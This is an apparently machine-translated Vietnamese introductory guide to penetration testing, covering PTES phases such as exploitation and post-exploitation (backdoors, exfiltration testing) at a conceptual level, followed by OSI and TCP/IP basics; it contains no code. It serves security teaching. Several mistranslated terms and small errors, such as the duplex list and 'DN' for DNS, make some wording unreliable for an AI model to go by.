Kiểm tra thâm nhập Python - Hướng dẫn nhanh
Kiểm tra bút hoặc kiểm tra thâm nhập, có thể được định nghĩa là một nỗ lực để đánh giá tính bảo mật của cơ sở hạ tầng CNTT bằng cách mô phỏng một cuộc tấn công mạng chống lại hệ thống máy tính để khai thác các lỗ hổng.
Sự khác biệt giữa quét lỗ hổng bảo mật và kiểm tra thâm nhập là gì? Quét lỗ hổng chỉ đơn giản là xác định các lỗ hổng được lưu ý và kiểm tra thâm nhập, như đã nói trước đó, là một nỗ lực để khai thác các lỗ hổng. Kiểm tra thâm nhập giúp xác định xem có thể truy cập trái phép hoặc bất kỳ hoạt động độc hại nào khác trong hệ thống hay không.
Chúng tôi có thể thực hiện kiểm tra thâm nhập cho máy chủ, ứng dụng web, mạng không dây, thiết bị di động và bất kỳ điểm tiếp xúc tiềm năng nào khác bằng công nghệ thủ công hoặc tự động. Do thử nghiệm thâm nhập, nếu chúng tôi khai thác bất kỳ loại lỗ hổng nào, thì lỗ hổng tương tự phải được chuyển đến CNTT và người quản lý hệ thống mạng để đưa ra kết luận chiến lược.
Tầm quan trọng của thử nghiệm thâm nhập (bút)
Trong phần này, chúng ta sẽ tìm hiểu về tầm quan trọng của thử nghiệm thâm nhập. Hãy xem xét những điểm sau để biết về tầm quan trọng -
An ninh của tổ chức
Tầm quan trọng của thử nghiệm thâm nhập có thể được hiểu ở điểm nó cung cấp sự đảm bảo cho tổ chức với một đánh giá chi tiết về tính bảo mật của tổ chức đó.
Bảo vệ bí mật của tổ chức
Với sự trợ giúp của kiểm tra thâm nhập, chúng tôi có thể phát hiện các mối đe dọa tiềm ẩn trước khi đối mặt với bất kỳ thiệt hại nào và bảo vệ tính bí mật của tổ chức đó.
Thực hiện các chính sách bảo mật
Kiểm tra thâm nhập có thể đảm bảo cho chúng tôi về việc thực hiện chính sách bảo mật trong một tổ chức.
Quản lý hiệu quả mạng
Với sự trợ giúp của kiểm tra thâm nhập, hiệu quả của mạng có thể được quản lý. Nó có thể xem xét kỹ lưỡng bảo mật của các thiết bị như tường lửa, bộ định tuyến, v.v.
Đảm bảo an toàn cho tổ chức
Giả sử nếu chúng ta muốn thực hiện bất kỳ thay đổi nào trong thiết kế mạng hoặc cập nhật phần mềm, phần cứng, v.v. thì kiểm tra thâm nhập đảm bảo sự an toàn của tổ chức trước bất kỳ loại lỗ hổng nào.
Ai là người thử bút giỏi?
Người kiểm tra thâm nhập là các chuyên gia phần mềm giúp các tổ chức tăng cường khả năng phòng thủ chống lại các cuộc tấn công mạng bằng cách xác định các lỗ hổng. Người kiểm tra thâm nhập có thể sử dụng các kỹ thuật thủ công hoặc các công cụ tự động để kiểm tra.
Bây giờ chúng ta hãy xem xét các đặc điểm quan trọng sau đây của một người kiểm tra thâm nhập tốt:
Kiến thức về mạng và phát triển ứng dụng
Một pentester giỏi phải có kiến thức về phát triển ứng dụng, quản trị cơ sở dữ liệu và mạng vì anh ấy / cô ấy sẽ phải xử lý các cài đặt cấu hình cũng như viết mã.
Nhà tư tưởng lỗi lạc
Pentester phải là một nhà tư tưởng xuất chúng và sẽ không ngần ngại áp dụng các công cụ và phương pháp luận khác nhau vào một nhiệm vụ cụ thể để đạt được kết quả tốt nhất.
Kiến thức về thủ tục
Một pentester tốt phải có kiến thức để thiết lập phạm vi cho mỗi thử nghiệm thâm nhập, chẳng hạn như mục tiêu, giới hạn của nó và giải thích của các thủ tục.
Cập nhật công nghệ
Một pentester phải được cập nhật các kỹ năng công nghệ của mình vì có thể có bất kỳ thay đổi nào trong công nghệ bất cứ lúc nào.
Khéo léo trong việc lập báo cáo
Sau khi thực hiện thành công thử nghiệm thâm nhập, người thử nghiệm bút phải đề cập đến tất cả các phát hiện và rủi ro tiềm ẩn trong báo cáo cuối cùng. Vì vậy, người đó phải có kỹ năng lập báo cáo tốt.
Đam mê an ninh mạng
Một người đam mê có thể đạt được thành công trong cuộc sống. Tương tự, nếu một người đam mê chứng khoán mạng thì người đó có thể trở thành một người thử bút giỏi.
Phạm vi kiểm tra thâm nhập
Bây giờ chúng ta sẽ tìm hiểu về phạm vi của thử nghiệm thâm nhập. Hai loại thử nghiệm sau đây có thể xác định phạm vi của thử nghiệm thâm nhập:
Kiểm tra không phá hủy (NDT)
Thử nghiệm không phá hủy không đặt hệ thống vào bất kỳ loại rủi ro nào. NDT được sử dụng để tìm ra các khuyết tật trước khi chúng trở nên nguy hiểm mà không gây hại cho hệ thống, đối tượng, v.v. Trong khi thực hiện kiểm tra thâm nhập, NDT thực hiện các hành động sau:
Quét hệ thống từ xa
Thử nghiệm này quét và xác định hệ thống từ xa để tìm các lỗ hổng có thể xảy ra.
xác minh
Sau khi tìm thấy lỗ hổng, nó cũng thực hiện xác minh tất cả những gì được tìm thấy.
Sử dụng hợp lý hệ thống từ xa
Trong NDT, một người kiểm tra bút sẽ sử dụng hệ thống từ xa đúng cách. Điều này giúp tránh bị gián đoạn.
Note - Mặt khác, trong khi thực hiện kiểm tra thâm nhập, NDT không thực hiện Denial-of-Service (DoS) attack.
Thử nghiệm phá hủy
Thử nghiệm phá hủy có thể khiến hệ thống gặp rủi ro. Nó đắt hơn và đòi hỏi nhiều kỹ năng hơn so với thử nghiệm không phá hủy. Trong khi thực hiện kiểm tra thâm nhập, kiểm tra phá hủy thực hiện các hành động sau:
Denial-of-Service (DoS) attack - Kiểm thử phá hủy thực hiện tấn công DoS.
Buffer overflow attack - Nó cũng thực hiện tấn công tràn bộ đệm có thể dẫn đến sự cố hệ thống.
Cài đặt gì để kiểm tra thâm nhập thực tế?
Các kỹ thuật và công cụ kiểm tra thâm nhập chỉ nên được thực thi trong môi trường mà bạn sở hữu hoặc được phép chạy các công cụ này. Chúng tôi không bao giờ được thực hành các kỹ thuật này trong môi trường trong đó, chúng tôi không được phép làm như vậy vì kiểm tra thâm nhập mà không được phép là bất hợp pháp.
Chúng tôi có thể thực hành kiểm tra thâm nhập bằng cách cài đặt một bộ ảo hóa - VMware Player( www.vmware.com/products/player ) hoặcOracle VirtualBox -
www.oracle.com/technetwork/server-storage/virtualbox/downloads/index.html
Chúng tôi cũng có thể tạo Máy ảo (VM) từ phiên bản hiện tại của -
Kali Linux ( www.kali.org/downloads/ )
Khung kiểm tra web Samurai (http://samurai.inguardians.com/)
Metasploitable ( www.offensivesecurity.com/metasploit-unleashed/Requirements )
Trong thời gian gần đây, cả chính phủ và các tổ chức tư nhân đều coi an ninh mạng như một ưu tiên chiến lược. Tội phạm mạng thường khiến chính phủ và các tổ chức tư nhân trở thành mục tiêu mềm của chúng bằng cách sử dụng các vectơ tấn công khác nhau. Thật không may, do thiếu các chính sách, tiêu chuẩn hiệu quả và sự phức tạp của hệ thống thông tin, tội phạm mạng có số lượng lớn mục tiêu và chúng đang trở nên thành công trong việc khai thác hệ thống và đánh cắp thông tin.
Kiểm tra thâm nhập là một chiến lược có thể được sử dụng để giảm thiểu rủi ro của các cuộc tấn công mạng. Sự thành công của thử nghiệm thâm nhập phụ thuộc vào một phương pháp đánh giá hiệu quả và nhất quán.
Chúng tôi có nhiều phương pháp đánh giá liên quan đến thử nghiệm thâm nhập. Lợi ích của việc sử dụng phương pháp luận là nó cho phép người đánh giá đánh giá môi trường một cách nhất quán. Sau đây là một số phương pháp luận quan trọng -
Sổ tay hướng dẫn phương pháp kiểm tra bảo mật nguồn mở (OSSTMM)
Mở Dự án Bảo mật Ứng dụng Web (OWASP)
Viện Tiêu chuẩn và Công nghệ Quốc gia (NIST)
Tiêu chuẩn thực thi kiểm tra thâm nhập (PTES)
PTES là gì?
PTES, tiêu chuẩn thực thi thử nghiệm thâm nhập, như tên của nó, là một phương pháp đánh giá cho thử nghiệm thâm nhập. Nó bao gồm mọi thứ liên quan đến kiểm tra thâm nhập. Chúng tôi có một số hướng dẫn kỹ thuật, trong PTES, liên quan đến các môi trường khác nhau mà người đánh giá có thể gặp phải. Đây là lợi thế lớn nhất của việc sử dụng PTES của các chuyên gia đánh giá mới vì các hướng dẫn kỹ thuật có các đề xuất để giải quyết và đánh giá môi trường trong các công cụ tiêu chuẩn của ngành.
Trong phần sau, chúng ta sẽ tìm hiểu về các giai đoạn khác nhau của PTES.
Bảy giai đoạn của PTES
Tiêu chuẩn thực thi thử nghiệm thâm nhập (PTES) bao gồm bảy giai đoạn. Các giai đoạn này bao gồm mọi thứ liên quan đến kiểm tra thâm nhập - từ giao tiếp ban đầu và lý luận đằng sau sự dồn nén, thông qua các giai đoạn thu thập thông tin tình báo và mô hình mối đe dọa nơi người kiểm tra đang làm việc ở hậu trường. Điều này dẫn đến sự hiểu biết tốt hơn về tổ chức được thử nghiệm, thông qua nghiên cứu, khai thác và hậu khai thác lỗ hổng. Ở đây, kiến thức chuyên môn về bảo mật kỹ thuật của những người kiểm tra được kết hợp chặt chẽ với sự hiểu biết của doanh nghiệp về cam kết và cuối cùng là báo cáo, ghi lại toàn bộ quy trình, theo cách có ý nghĩa đối với khách hàng và mang lại giá trị cao nhất cho nó.
Chúng ta sẽ tìm hiểu về bảy giai đoạn của PTES trong các phần tiếp theo của chúng tôi -
Giai đoạn tương tác trước khi tương tác
Đây là giai đoạn đầu tiên và rất quan trọng của PTES. Mục tiêu chính của giai đoạn này là giải thích các công cụ và kỹ thuật có sẵn, giúp hỗ trợ bước trước khi tham gia thành công của thử nghiệm thâm nhập. Bất kỳ sai sót nào trong khi thực hiện giai đoạn này đều có thể ảnh hưởng đáng kể đến phần còn lại của đánh giá. Giai đoạn này bao gồm các bước sau:
Yêu cầu đánh giá
Phần đầu tiên mà giai đoạn này bắt đầu là việc tổ chức tạo ra một yêu cầu đánh giá. ARequest for Proposal (RFP) tài liệu cung cấp các thông tin chi tiết về môi trường, loại đánh giá cần thiết và các kỳ vọng của tổ chức cho người đánh giá.
Đấu thầu
Bây giờ, dựa trên RFP tài liệu, nhiều công ty đánh giá hoặc các Công ty trách nhiệm hữu hạn (LLC) riêng lẻ sẽ đấu thầu và bên nào, giá thầu phù hợp với công việc được yêu cầu, giá cả và một số thông số cụ thể khác sẽ thắng.
Ký Thư đính hôn (EL)
Bây giờ, tổ chức và bên thắng thầu sẽ ký hợp đồng Thư đính hôn (EL). Bức thư sẽ cóstatement of work (SOW) và sản phẩm cuối cùng.
Họp xác định phạm vi
Sau khi EL đã được ký, việc tinh chỉnh phạm vi có thể bắt đầu. Các cuộc họp như vậy giúp tổ chức và bên điều chỉnh một phạm vi cụ thể. Mục tiêu chính của cuộc họp xác định phạm vi là thảo luận về những gì sẽ được kiểm tra.
Xử lý rão phạm vi
Scope creep là một cái gì đó mà khách hàng có thể cố gắng thêm vào hoặc mở rộng mức độ công việc đã hứa để nhận được nhiều hơn những gì họ có thể đã hứa trả cho. Đó là lý do tại sao các sửa đổi đối với phạm vi ban đầu nên được xem xét cẩn thận do thời gian và nguồn lực. Nó cũng phải được hoàn thành dưới một số hình thức văn bản như email, tài liệu đã ký hoặc thư ủy quyền, v.v.
Bảng câu hỏi
Trong quá trình giao tiếp ban đầu với khách hàng, có một số câu hỏi mà khách hàng sẽ phải trả lời để ước tính đúng phạm vi tham gia. Những câu hỏi này được thiết kế để cung cấp sự hiểu biết tốt hơn về những gì khách hàng đang tìm kiếm để đạt được từ thử nghiệm thâm nhập; tại sao khách hàng muốn thực hiện kiểm tra thâm nhập đối với môi trường của họ; và, họ có muốn một số loại thử nghiệm nhất định được thực hiện trong quá trình thử nghiệm thâm nhập hay không.
Cách tiến hành kiểm tra
Phần cuối cùng của giai đoạn trước khi tham gia là quyết định quy trình tiến hành thử nghiệm. Có nhiều chiến lược thử nghiệm khác nhau như Hộp trắng, Hộp đen, Hộp xám, Thử nghiệm mù đôi để bạn lựa chọn.
Sau đây là một số ví dụ về đánh giá có thể được yêu cầu:
- Kiểm tra thâm nhập mạng
- Kiểm tra thâm nhập ứng dụng web
- Kiểm tra thâm nhập mạng không dây
- Kiểm tra thâm nhập vật lý
- Kỹ thuật xã hội
- Phishing
- Giao thức thoại qua Internet (VOIP)
- Mạng nội bộ
- Mạng bên ngoài
Giai đoạn thu thập thông tin tình báo
Thu thập thông tin tình báo, giai đoạn thứ hai của PTES, là nơi chúng tôi thực hiện khảo sát sơ bộ đối với mục tiêu để thu thập càng nhiều thông tin càng tốt để sử dụng khi thâm nhập mục tiêu trong giai đoạn khai thác và đánh giá tính dễ bị tổn thương. Nó giúp các tổ chức xác định mức độ tiếp xúc bên ngoài của nhóm đánh giá. Chúng ta có thể chia thu thập thông tin theo ba cấp độ sau:
Thu thập thông tin cấp độ 1
Các công cụ tự động có thể có được mức thông tin này gần như hoàn toàn. Nỗ lực thu thập thông tin cấp độ 1 phải phù hợp để đáp ứng yêu cầu tuân thủ.
Thu thập thông tin cấp độ 2
Mức thông tin này có thể thu được bằng cách sử dụng các công cụ tự động từ mức 1 cùng với một số phân tích thủ công. Cấp độ này cần có hiểu biết tốt về doanh nghiệp, bao gồm các thông tin như vị trí thực tế, mối quan hệ kinh doanh, sơ đồ tổ chức, v.v. Nỗ lực thu thập thông tin cấp độ 2 phải phù hợp để đáp ứng yêu cầu tuân thủ cùng với các nhu cầu khác như chiến lược bảo mật dài hạn, mua lại các nhà sản xuất nhỏ hơn, v.v.
Thu thập thông tin cấp độ 3
Mức độ thu thập thông tin này được sử dụng trong thử nghiệm thâm nhập tiên tiến nhất. Tất cả thông tin từ cấp 1 và cấp 2 cùng với nhiều phân tích thủ công là bắt buộc để thu thập thông tin cấp 3.
Giai đoạn tạo mô hình mối đe dọa
Đây là giai đoạn thứ ba của PTES. Phương pháp mô hình hóa mối đe dọa là cần thiết để thực hiện chính xác thử nghiệm thâm nhập. Mô hình mối đe dọa có thể được sử dụng như một phần của thử nghiệm thâm nhập hoặc nó có thể phải đối mặt dựa trên một số yếu tố. Trong trường hợp chúng tôi đang sử dụng mô hình mối đe dọa như một phần của thử nghiệm thâm nhập, thì thông tin thu thập được trong giai đoạn thứ hai sẽ được chuyển trở lại giai đoạn đầu tiên.
Các bước sau tạo thành giai đoạn mô hình hóa mối đe dọa:
Thu thập thông tin cần thiết và phù hợp.
Cần xác định và phân loại tài sản chính và phụ.
Cần xác định và phân loại các mối đe dọa & cộng đồng mối đe dọa.
Cần lập bản đồ các cộng đồng đe dọa đối với các tài sản chính và phụ.
Cộng đồng & Đại lý Đe doạ
Bảng sau liệt kê các cộng đồng và tác nhân đe dọa có liên quan cùng với vị trí của họ trong tổ chức -
Vị trí | Nội bộ | Bên ngoài |
---|---|---|
Threat agents/communities | Nhân viên | Đối tác kinh doanh |
Người quản lý | Nhà thầu | |
Quản trị viên (Mạng, Hệ thống) | Đối thủ cạnh tranh | |
Kỹ sư | Các nhà cung cấp | |
Kỹ thuật viên | Quốc gia | |
Cộng đồng người dùng chung | Tin tặc |
Trong khi thực hiện đánh giá mô hình mối đe dọa, chúng ta cần nhớ rằng vị trí của các mối đe dọa có thể là nội bộ. Chỉ cần một e-mail lừa đảo duy nhất hoặc một nhân viên khó chịu đang giữ an ninh của tổ chức đang bị đe dọa bằng cách phát thông tin đăng nhập.
Giai đoạn phân tích lỗ hổng
Đây là giai đoạn thứ tư của PTES, trong đó người đánh giá sẽ xác định các mục tiêu khả thi để kiểm tra thêm. Trong ba giai đoạn đầu tiên của PTES, chỉ những thông tin chi tiết về tổ chức đã được trích xuất và người đánh giá chưa chạm vào bất kỳ nguồn lực nào để kiểm tra. Đây là giai đoạn tốn nhiều thời gian nhất của PTES.
Các giai đoạn sau tạo thành Phân tích lỗ hổng bảo mật -
Kiểm tra lỗ hổng bảo mật
Nó có thể được định nghĩa là quá trình phát hiện ra các sai sót như cấu hình sai và thiết kế ứng dụng không an toàn trong hệ thống và ứng dụng của máy chủ và dịch vụ. Người kiểm tra phải xác định đúng phạm vi kiểm tra và kết quả mong muốn trước khi tiến hành phân tích lỗ hổng. Kiểm tra lỗ hổng bảo mật có thể thuộc các loại sau:
- Kiểm tra tích cực
- Kiểm tra thụ động
Chúng tôi sẽ thảo luận chi tiết về hai loại trong các phần tiếp theo của chúng tôi.
Kiểm tra tích cực
Nó liên quan đến sự tương tác trực tiếp với thành phần đang được kiểm tra các lỗ hổng bảo mật. Các thành phần có thể ở mức thấp như ngăn xếp TCP trên thiết bị mạng hoặc ở mức cao như giao diện dựa trên web. Kiểm tra tích cực có thể được thực hiện theo hai cách sau:
Kiểm tra hoạt động tự động
Nó sử dụng phần mềm để tương tác với mục tiêu, kiểm tra các phản hồi và xác định dựa trên các phản hồi này xem có lỗ hổng trong thành phần hay không. Tầm quan trọng của kiểm thử tích cực tự động so với kiểm tra chủ động thủ công có thể được nhận ra từ thực tế là nếu có hàng nghìn cổng TCP trên một hệ thống và chúng ta cần kết nối tất cả chúng theo cách thủ công để kiểm tra, thì sẽ mất một lượng thời gian đáng kể. Tuy nhiên, làm điều đó với các công cụ tự động có thể giảm nhiều thời gian và yêu cầu lao động. Quét lỗ hổng mạng, quét cổng, lấy biểu ngữ, quét ứng dụng web có thể được thực hiện với sự trợ giúp của các công cụ kiểm tra hoạt động tự động.
Kiểm tra hoạt động thủ công
Kiểm thử hiệu quả thủ công hiệu quả hơn khi so sánh với kiểm thử hoạt động tự động. Biên độ sai số luôn tồn tại với quy trình hoặc công nghệ tự động. Đó là lý do tại sao chúng tôi luôn khuyến nghị thực hiện các kết nối trực tiếp thủ công tới từng giao thức hoặc dịch vụ có sẵn trên hệ thống đích để xác nhận kết quả của kiểm tra tự động.
Kiểm tra thụ động
Kiểm tra thụ động không liên quan đến tương tác trực tiếp với thành phần. Nó có thể được thực hiện với sự trợ giúp của hai kỹ thuật sau:
Phân tích siêu dữ liệu
Kỹ thuật này liên quan đến việc xem xét dữ liệu mô tả tệp hơn là dữ liệu của chính tệp đó. Ví dụ, tệp MS word có siêu dữ liệu về tên tác giả, tên công ty, ngày và giờ khi tài liệu được sửa đổi và lưu lần cuối. Sẽ có một vấn đề bảo mật nếu kẻ tấn công có thể truy cập thụ động vào siêu dữ liệu.
Giám sát giao thông
Nó có thể được định nghĩa là kỹ thuật kết nối với mạng nội bộ và thu thập dữ liệu để phân tích ngoại tuyến. Nó chủ yếu được sử dụng để chụp“leaking of data” vào một mạng chuyển mạch.
Thẩm định
Sau khi kiểm tra lỗ hổng, việc xác thực các phát hiện là rất cần thiết. Nó có thể được thực hiện với sự trợ giúp của các kỹ thuật sau:
Tương quan giữa các công cụ
Nếu một người đánh giá đang thực hiện kiểm tra lỗ hổng bảo mật bằng nhiều công cụ tự động thì để xác thực các phát hiện, rất cần có mối tương quan giữa các công cụ này. Các phát hiện có thể trở nên phức tạp nếu không có loại tương quan giữa các công cụ. Nó có thể được chia nhỏ thành tương quan cụ thể của các mặt hàng và tương quan phân loại của các mặt hàng.
Xác thực giao thức cụ thể
Việc xác thực cũng có thể được thực hiện với sự trợ giúp của các giao thức. VPN, Citrix, DNS, Web, máy chủ thư có thể được sử dụng để xác thực các phát hiện.
Nghiên cứu
Sau khi phát hiện và xác nhận lỗ hổng trong hệ thống, điều cần thiết là xác định độ chính xác của việc xác định vấn đề và nghiên cứu khả năng khai thác tiềm năng của lỗ hổng trong phạm vi kiểm tra thâm nhập. Nghiên cứu có thể được thực hiện công khai hoặc riêng tư. Trong khi thực hiện nghiên cứu công khai, cơ sở dữ liệu lỗ hổng bảo mật và cố vấn của nhà cung cấp có thể được sử dụng để xác minh tính chính xác của vấn đề được báo cáo. Mặt khác, trong khi thực hiện nghiên cứu riêng tư, một môi trường sao chép có thể được thiết lập và các kỹ thuật như cấu hình mờ hoặc kiểm tra có thể được áp dụng để xác minh tính chính xác của vấn đề được báo cáo.
Giai đoạn khai thác
Đây là giai đoạn thứ năm của PTES. Giai đoạn này tập trung vào việc giành quyền truy cập vào hệ thống hoặc tài nguyên bằng cách bỏ qua các hạn chế bảo mật. Trong giai đoạn này, tất cả các công việc được thực hiện bởi các giai đoạn trước dẫn đến việc đạt được quyền truy cập của hệ thống. Có một số thuật ngữ phổ biến như sau được sử dụng để truy cập vào hệ thống:
- Popped
- Shelled
- Cracked
- Exploited
Hệ thống đăng nhập, trong giai đoạn khai thác, có thể được thực hiện với sự trợ giúp của mã, khai thác từ xa, tạo khai thác, vượt qua phần mềm chống vi-rút hoặc có thể đơn giản như đăng nhập thông qua thông tin đăng nhập yếu. Sau khi có được quyền truy cập, tức là sau khi xác định được điểm vào chính, người đánh giá phải tập trung vào việc xác định các tài sản mục tiêu có giá trị cao. Nếu giai đoạn phân tích lỗ hổng được hoàn thành đúng cách, một danh sách mục tiêu có giá trị cao nên được tuân thủ. Cuối cùng, vectơ tấn công nên xem xét xác suất thành công và tác động cao nhất đến tổ chức.
Giai đoạn khai thác sau
Đây là giai đoạn thứ sáu của PTES. Người đánh giá thực hiện các hoạt động sau trong giai đoạn này:
Phân tích cơ sở hạ tầng
Việc phân tích toàn bộ cơ sở hạ tầng được sử dụng trong quá trình thử nghiệm thâm nhập được thực hiện trong giai đoạn này. Ví dụ: phân tích mạng hoặc cấu hình mạng có thể được thực hiện với sự trợ giúp của giao diện, định tuyến, máy chủ DNS, mục DNS được lưu trong bộ nhớ cache, máy chủ proxy, v.v.
Pillaging
Nó có thể được định nghĩa là lấy thông tin từ các máy chủ được nhắm mục tiêu. Thông tin này có liên quan đến các mục tiêu được xác định trong giai đoạn đánh giá trước. Thông tin này có thể được lấy từ các chương trình đã cài đặt, các máy chủ cụ thể như máy chủ cơ sở dữ liệu, máy in, v.v. trên hệ thống.
Lọc dữ liệu
Theo hoạt động này, người đánh giá được yêu cầu lập bản đồ và thử nghiệm tất cả các đường dẫn lọc có thể có để có thể thực hiện việc đo cường độ kiểm soát, tức là phát hiện và chặn thông tin nhạy cảm từ tổ chức, có thể được thực hiện.
Tạo sự bền bỉ
Hoạt động này bao gồm cài đặt backdoor yêu cầu xác thực, khởi động lại backdoor khi được yêu cầu và tạo tài khoản thay thế với mật khẩu phức tạp.
Dọn dẹp
Như tên gợi ý, quy trình này bao gồm các yêu cầu về làm sạch hệ thống sau khi kiểm tra thâm nhập hoàn thành. Hoạt động này bao gồm việc quay trở lại giá trị ban đầu cài đặt hệ thống, thông số cấu hình ứng dụng và xóa tất cả các cửa sau đã cài đặt và bất kỳ tài khoản người dùng nào đã tạo.
Báo cáo
Đây là giai đoạn cuối cùng và quan trọng nhất của PTES. Tại đây, khách hàng thanh toán trên cơ sở báo cáo cuối cùng sau khi hoàn thành thử nghiệm thâm nhập. Về cơ bản, báo cáo là một phản ánh của những phát hiện được thực hiện bởi người đánh giá về hệ thống. Sau đây là những phần thiết yếu của một báo cáo tốt -
Tóm tắt điều hành
Đây là một báo cáo truyền đạt cho người đọc về các mục tiêu cụ thể của thử nghiệm thâm nhập và những phát hiện cấp cao của bài tập thử nghiệm. Đối tượng dự kiến có thể là thành viên của ban cố vấn của bộ trưởng.
Cốt truyện
Báo cáo phải có một cốt truyện, sẽ giải thích những gì đã được thực hiện trong quá trình hợp tác, các phát hiện hoặc điểm yếu về an ninh thực tế và các biện pháp kiểm soát tích cực mà tổ chức đã thiết lập.
Bằng chứng về khái niệm / báo cáo kỹ thuật
Bằng chứng về khái niệm hoặc báo cáo kỹ thuật phải bao gồm các chi tiết kỹ thuật của thử nghiệm và tất cả các khía cạnh / thành phần đã được thỏa thuận như là các chỉ số thành công chính trong quá trình thực hiện trước hợp đồng. Phần báo cáo kỹ thuật sẽ mô tả chi tiết phạm vi, thông tin, đường dẫn tấn công, tác động và đề xuất khắc phục của thử nghiệm.
Chúng tôi đã luôn nghe nói rằng để thực hiện kiểm tra thâm nhập, một pentester phải biết về các khái niệm mạng cơ bản như địa chỉ IP, mạng con phân lớp, mạng con không phân lớp, cổng và mạng phát sóng. Lý do đầu tiên là các hoạt động như máy chủ nào đang hoạt động trong phạm vi đã được phê duyệt và dịch vụ, cổng và tính năng nào mà chúng có tính năng mở và đáp ứng sẽ xác định loại hoạt động mà người đánh giá sẽ thực hiện trong thử nghiệm thâm nhập. Môi trường liên tục thay đổi và các hệ thống thường được phân bổ lại. Do đó, rất có thể các lỗ hổng cũ có thể xuất hiện trở lại và nếu không có kiến thức tốt về việc quét mạng, có thể xảy ra việc quét ban đầu phải được thực hiện lại. Trong các phần tiếp theo của chúng tôi, chúng tôi sẽ thảo luận về những điều cơ bản của giao tiếp mạng.
Mô hình tham chiếu
Mô hình Tham chiếu cung cấp một phương tiện tiêu chuẩn hóa, được chấp nhận trên toàn thế giới vì những người sử dụng mạng máy tính nằm trên một phạm vi vật lý rộng và các thiết bị mạng của họ có thể có kiến trúc không đồng nhất. Để cung cấp giao tiếp giữa các thiết bị không đồng nhất, chúng ta cần một mô hình chuẩn hóa, tức là, một mô hình tham chiếu, sẽ cung cấp cho chúng ta cách mà các thiết bị này có thể giao tiếp.
Chúng tôi có hai mô hình tham chiếu như mô hình OSI và mô hình tham chiếu TCP / IP. Tuy nhiên, mô hình OSI là một mô hình giả định nhưng TCP / IP là một mô hình thực tế.
Mô hình OSI
Giao diện Hệ thống Mở được thiết kế bởi Tổ chức Tiêu chuẩn hóa Quốc tế (ISO) và do đó, nó còn được gọi là Mô hình ISO-OSI.
Mô hình OSI bao gồm bảy lớp như thể hiện trong sơ đồ sau. Mỗi lớp có một chức năng cụ thể, tuy nhiên mỗi lớp cung cấp các dịch vụ cho lớp trên.
Lớp vật lý
Lớp Vật lý chịu trách nhiệm cho các hoạt động sau:
Kích hoạt, duy trì và hủy kích hoạt kết nối vật lý.
Xác định điện áp và tốc độ dữ liệu cần thiết để truyền.
Chuyển đổi các bit kỹ thuật số thành tín hiệu điện.
Quyết định xem kết nối là song công, bán song công hay song công.
Lớp liên kết dữ liệu
Lớp liên kết dữ liệu thực hiện các chức năng sau:
Thực hiện đồng bộ hóa và kiểm soát lỗi đối với thông tin sẽ được truyền qua liên kết vật lý.
Cho phép phát hiện lỗi và thêm các bit phát hiện lỗi vào dữ liệu sẽ được truyền.
Lớp mạng
Lớp mạng thực hiện các chức năng sau:
Để định tuyến các tín hiệu qua các kênh khác nhau đến đầu kia.
Hoạt động như bộ điều khiển mạng bằng cách quyết định dữ liệu tuyến đường nào sẽ sử dụng.
Để chia các thông điệp đi thành các gói và để tập hợp các gói đến thành các thông điệp cho các cấp cao hơn.
Lớp vận chuyển
Lớp Giao vận thực hiện các chức năng sau:
Nó quyết định việc truyền dữ liệu nên diễn ra trên các đường dẫn song song hay đường dẫn đơn.
Nó thực hiện ghép kênh, chia nhỏ trên dữ liệu.
Nó chia nhỏ các nhóm dữ liệu thành các đơn vị nhỏ hơn để chúng được lớp mạng xử lý hiệu quả hơn.
Lớp truyền tải đảm bảo truyền dữ liệu từ đầu này đến đầu kia.
Lớp phiên
Lớp Session thực hiện các chức năng sau:
Quản lý tin nhắn và đồng bộ hóa các cuộc trò chuyện giữa hai ứng dụng khác nhau.
Nó kiểm soát việc đăng nhập và tắt, nhận dạng người dùng, thanh toán và quản lý phiên.
Lớp trình bày
Lớp Trình bày thực hiện các chức năng sau:
Lớp này đảm bảo rằng thông tin được phân phối dưới dạng sao cho hệ thống nhận sẽ hiểu và sử dụng nó.
Lớp ứng dụng
Lớp Ứng dụng thực hiện các chức năng sau:
Nó cung cấp các dịch vụ khác nhau như thao tác thông tin theo một số cách, truyền lại tệp thông tin, phân phối kết quả, v.v.
Các chức năng như ĐĂNG NHẬP hoặc kiểm tra mật khẩu cũng được thực hiện bởi lớp ứng dụng.
Mô hình TCP / IP
Mô hình Giao thức Điều khiển Truyền và Giao thức Internet (TCP / IP) là một mô hình thực tế và được sử dụng trong Internet.
Mô hình TCP / IP kết hợp hai lớp (lớp liên kết Vật lý và Dữ liệu) thành một lớp - Lớp Host-to-Network. Sơ đồ sau đây cho thấy các lớp khác nhau của mô hình TCP / IP:
Lớp ứng dụng
Lớp này giống như lớp của mô hình OSI và thực hiện các chức năng sau:
Nó cung cấp các dịch vụ khác nhau như thao tác thông tin theo một số cách, truyền lại tệp thông tin, phân phối kết quả, v.v.
Lớp ứng dụng cũng thực hiện các chức năng như ĐĂNG NHẬP hoặc kiểm tra mật khẩu.
Sau đây là các giao thức khác nhau được sử dụng trong lớp Ứng dụng:
- TELNET
- FTP
- SMTP
- DN
- HTTP
- NNTP
Lớp vận chuyển
Nó thực hiện các chức năng tương tự như của lớp truyền tải trong mô hình OSI. Hãy xem xét các điểm quan trọng sau liên quan đến lớp truyền tải:
Nó sử dụng giao thức TCP và UDP để truyền từ đầu đến cuối.
TCP là một giao thức định hướng kết nối và đáng tin cậy.
TCP cũng xử lý điều khiển luồng.
UDP không đáng tin cậy và một giao thức ít kết nối không thực hiện điều khiển luồng.
Các giao thức TCP / IP và UDP được sử dụng trong lớp này.
Lớp Internet
Chức năng của lớp này là cho phép máy chủ chèn các gói vào mạng và sau đó làm cho chúng di chuyển độc lập đến đích. Tuy nhiên, thứ tự nhận gói tin có thể khác với thứ tự chúng được gửi đi.
Giao thức Internet (IP) được sử dụng trong lớp Internet.
Lớp máy chủ với mạng
Đây là lớp thấp nhất trong mô hình TCP / IP. Máy chủ phải kết nối với mạng bằng một số giao thức để có thể gửi các gói IP qua đó. Giao thức này khác nhau giữa các máy chủ và máy chủ và mạng này sang mạng khác.
Các giao thức khác nhau được sử dụng trong lớp này là -
- ARPANET
- SATNET
- LAN
- Đài gói
Kiến trúc hữu ích
Sau đây là một số kiến trúc hữu ích, được sử dụng trong giao tiếp mạng -
Kiến trúc khung Ethernet
